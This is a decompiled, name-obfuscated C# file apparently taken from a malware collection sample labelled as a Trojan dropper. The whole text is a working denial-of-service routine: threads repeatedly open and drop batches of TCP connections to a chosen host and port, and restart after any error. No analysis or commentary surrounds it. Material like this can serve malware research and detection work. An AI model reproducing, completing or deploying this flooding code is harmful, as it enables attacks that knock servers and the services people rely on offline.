// Decompiled with JetBrains decompiler // Type: . // Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe using \u0007; using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; namespace \u0007 { internal sealed class \u0008 { private static ThreadStart[] \u0001; private static Thread[] \u0001; public static string \u0001; private static IPEndPoint \u0001; public static ushort \u0001; private static \u0008.\u0001[] \u0001; public static int \u0001; public static int \u0002; public static bool \u0001 = false; public static void \u000F() { try { \u0008.\u0001 = new IPEndPoint(Dns.GetHostEntry(\u0008.\u0001).AddressList[0], (int) \u0008.\u0001); } catch { \u0008.\u0001 = new IPEndPoint(IPAddress.Parse(\u0008.\u0001), (int) \u0008.\u0001); } \u0008.\u0001 = new Thread[\u0008.\u0002]; \u0008.\u0001 = new ThreadStart[\u0008.\u0002]; \u0008.\u0001 = new \u0008.\u0001[\u0008.\u0002]; for (int index = 0; index < \u0008.\u0002; ++index) { \u0008.\u0001[index] = new \u0008.\u0001(\u0008.\u0001, \u0008.\u0001); \u0008.\u0001[index] = new ThreadStart(\u0008.\u0001[index].\u000F); \u0008.\u0001[index] = new Thread(\u0008.\u0001[index]); \u0008.\u0001[index].Start(); } \u0008.\u0001 = true; } public static void \u0010() { for (int index = 0; index < \u0008.\u0002; ++index) { try { \u0008.\u0001[index].Abort(); \u0008.\u0001[index].Join(); } catch { \u0008.\u0001 = false; } } \u0008.\u0001 = false; } private sealed class \u0001 { private IPEndPoint \u0001; private Socket[] \u0001; private int \u0001; public \u0001([In] IPEndPoint obj0, [In] int obj1) { this.\u0001 = obj0; this.\u0001 = obj1; } private void \u000F([In] IAsyncResult obj0) { } public void \u000F() { label_0: try { while (true) { this.\u0001 = new Socket[this.\u0001]; for (int index = 0; index < this.\u0001; ++index) { this.\u0001[index] = new Socket(this.\u0001.AddressFamily, SocketType.Stream, ProtocolType.Tcp); this.\u0001[index].Blocking = false; AsyncCallback callback = new AsyncCallback(this.\u000F); this.\u0001[index].BeginConnect((EndPoint) this.\u0001, callback, (object) this.\u0001[index]); } Thread.Sleep(100); for (int index = 0; index < this.\u0001; ++index) { if (this.\u0001[index].Connected) this.\u0001[index].Disconnect(false); this.\u0001[index].Close(); this.\u0001[index] = (Socket) null; } this.\u0001 = (Socket[]) null; } } catch { for (int index = 0; index < this.\u0001; ++index) { try { if (this.\u0001[index].Connected) this.\u0001[index].Disconnect(false); this.\u0001[index].Close(); this.\u0001[index] = (Socket) null; } catch { } } goto label_0; } } } } }